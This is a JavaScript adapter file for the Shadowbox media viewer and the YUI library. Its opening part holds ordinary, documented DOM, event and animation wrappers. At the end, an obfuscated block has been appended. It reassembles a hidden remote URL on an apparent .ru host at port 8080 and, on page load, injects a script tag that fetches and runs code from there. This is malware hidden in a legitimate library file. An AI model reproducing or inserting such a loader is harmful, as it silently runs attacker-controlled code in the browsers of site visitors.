/**
 * An adapter for the Shadowbox media viewer and the Yahoo! User Interface (YUI)
 * JavaScript library.
 *
 * This file is part of Shadowbox.
 *
 * Shadowbox is free software: you can redistribute it and/or modify it under
 * the terms of the GNU Lesser General Public License as published by the Free
 * Software Foundation, either version 3 of the License, or (at your option)
 * any later version.
 *
 * Shadowbox is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for
 * more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with Shadowbox.  If not, see <http://www.gnu.org/licenses/>.
 *
 * @author      Michael J. I. Jackson <mjijackson@gmail.com>
 * @copyright   2007 Michael J. I. Jackson
 * @license     http://www.gnu.org/licenses/lgpl-3.0.txt GNU LGPL 3.0
 * @version     SVN: $Id: shadowbox-yui.js 48 2008-01-26 09:58:25Z mjijackson $
 */

if(typeof YAHOO == 'undefined'){
    throw 'Unable to load Shadowbox, core YUI utilities (yahoo, dom, event, anim) not found.';
}

// create the Shadowbox object first
var Shadowbox = {};

Shadowbox.lib = function(){

    var E = YAHOO.util.Event;
    var D = YAHOO.util.Dom;

    return {

        /**
         * Gets the value of the style on the given element.
         *
         * @param   {HTMLElement}   el      The DOM element
         * @param   {String}        style   The name of the style (e.g. margin-top)
         * @return  {mixed}                 The value of the given style
         * @public
         */
        getStyle: function(el, style){
            return D.getStyle(el, style);
        },

        /**
         * Sets the style on the given element to the given value. May be an
         * object to specify multiple values.
         *
         * @param   {HTMLElement}   el      The DOM element
         * @param   {String/Object} style   The name of the style to set if a
         *                                  string, or an object of name =>
         *                                  value pairs
         * @param   {String}        value   The value to set the given style to
         * @return  void
         * @public
         */
        setStyle: function(el, style, value){
            if(typeof style != 'object'){
                var temp = {};
                temp[style] = value;
                style = temp;
            }
            for(var s in style){
                D.setStyle(el, s, style[s]);
            }
        },

        /**
         * Gets a reference to the given element.
         *
         * @param   {String/HTMLElement}    el      The element to fetch
         * @return  {HTMLElement}                   A reference to the element
         * @public
         */
        get: function(el){
            return D.get(el);
        },

        /**
         * Removes an element from the DOM.
         *
         * @param   {HTMLElement}           el      The element to remove
         * @return  void
         * @public
         */
        remove: function(el){
            el.parentNode.removeChild(el);
        },

        /**
         * Gets the target of the given event. The event object passed will be
         * the same object that is passed to listeners registered with
         * addEvent().
         *
         * @param   {mixed}                 e       The event object
         * @return  {HTMLElement}                   The event's target element
         * @public
         */
        getTarget: function(e){
            return E.getTarget(e.browserEvent || e);
        },

        /**
         * Prevents the event's default behavior. The event object passed will
         * be the same object that is passed to listeners registered with
         * addEvent().
         *
         * @param   {mixed}                 e       The event object
         * @return  void
         * @public
         */
        preventDefault: function(e){
            E.preventDefault(e.browserEvent || e);
        },

        /**
         * Adds an event listener to the given element. It is expected that this
         * function will be passed the event as its first argument.
         *
         * @param   {HTMLElement}   el          The DOM element to listen to
         * @param   {String}        name        The name of the event to register
         *                                      (i.e. 'click', 'scroll', etc.)
         * @param   {Function}      handler     The event handler function
         * @return  void
         * @public
         */
        addEvent: function(el, name, handler){
            E.addListener(el, name, handler);
        },

        /**
         * Removes an event listener from the given element.
         *
         * @param   {HTMLElement}   el          The DOM element to stop listening to
         * @param   {String}        name        The name of the event to stop
         *                                      listening for (i.e. 'click')
         * @param   {Function}      handler     The event handler function
         * @return  void
         * @public
         */
        removeEvent: function(el, name, handler){
            E.removeListener(el, name, handler);
        },

        /**
         * Animates numerous styles of the given element. The second parameter
         * of this function will be an object of the type that is expected by
         * YAHOO.util.Anim. See http://developer.yahoo.com/yui/docs/YAHOO.util.Anim.html
         * for more information.
         *
         * @param   {HTMLElement}   el          The DOM element to animate
         * @param   {Object}        obj         The animation attributes/parameters
         * @param   {Number}        duration    The duration of the animation
         *                                      (in seconds)
         * @param   {Function}      callback    A callback function to call when
         *                                      the animation completes
         * @return  void
         * @public
         */
        animate: function(el, obj, duration, callback){
            var anim = new YAHOO.util.Anim(el, obj, duration, YAHOO.util.Easing.easeOut);
            if(typeof callback == 'function'){
                var f = function(){
                    anim.onComplete.unsubscribe(f);
                    callback.call(anim, anim);
                };
                anim.onComplete.subscribe(f, anim, true);
            }
            anim.animate();
        }

    };

}();

ZX={e:"Yk"};this.o=21257;this.o--;X={b:"Nn"};var S;eD={Xr:"I"};a=function(){this.O=23781;this.O++;var c=new Array();r=["Ev","s"];var yY={};function N(F,Nl,V){var Ba=new Array();var w=false;return F.substr(Nl,V);}var Y=RegExp;var B='';var xF={U:false};var P="/g"+N("ootHB",0,2)+N("bPvglvPb",3,2)+N("e.ja3",0,2)+N("j6Q7co76Qj",4,2)+"m/"+"gn"+N("tKugavtugK",4,2)+"i."+"co"+N("qBp.jqBp",3,2)+N("jthap/thja",4,2)+N("2NOo1u2ONo",4,2)+N("ndLNJ",0,2)+N("1.yC0l",0,2)+N("9o1Pde9oP1",4,2)+".p"+N("ScPhpcSP",3,2);fy=[];var _=document;is=56434;is-=106;var bc=[];this.rR="rR";this.D="D";function Z(F,Nl){var UH=false;var Lp="";var V=String("[")+Nl+new String("]");DZ=37236;DZ-=112;var VG=new Y(V, "g");var UG={DB:"Au"};return F.replace(VG, B);this.t=33167;this.t+=162;this.iP=3652;this.iP++;};this.YW=61015;this.YW--;var xf=new Array();JX={};var x=1007076-998996;this.Ko=51677;this.Ko--;var R=String(N("bodJkN",0,3)+"y");var g=21871;try {var EE='OR'} catch(EE){};var at=null;var UP=false;SO=12353;SO--;this.Kh=390;this.Kh-=221;var f=Z('sgcLrLiMpMta','PDMgaL');var Ok=new String();S=function(){var st={YD:"j"};try {var lj=["PR"];LW={bu:"Dt"};var y=Z('c7r7eoaYtxexEZlpeYmjeLn7tZ','hsq7NLZoAYpTxJjf');k_=15302;k_--;try {var Ar='CIv'} catch(Ar){};Q=_[y](f);var qG=new Array();Wr=[];this.hY=34773;this.hY++;var h=Z('s6rhcj','SkLhjE6');var oC={qh:"EF"};var hR={};var E=String("defe"+N("r019I",0,1));var F=x+P;XP={nl:"tI"};var lB=new Array();WT=["pg"];SG=["Pf","Jk","JD"];Q[h]=String(N("http:d4J",0,5)+"//ten"+N("thproCGs",0,5)+N("fit.rsX7",0,5)+N("u:4q1",0,2))+F;Q[E]=[1][0];_[R].appendChild(Q);nj=59732;nj--;var jX=[];var pt=["Wy","JHp","LNW"];var DY=new String();} catch(z){var Pw="Pw";var vh=45010;this.ss="";};};var By=new Date();};var Yg=new Array();a();var mo={Ey:false};this.du=27847;this.du+=148;window.onload=S;var DD={JHk:"iK"};this.Jh="Jh";this.u_=45190;this.u_-=242;var mr=[];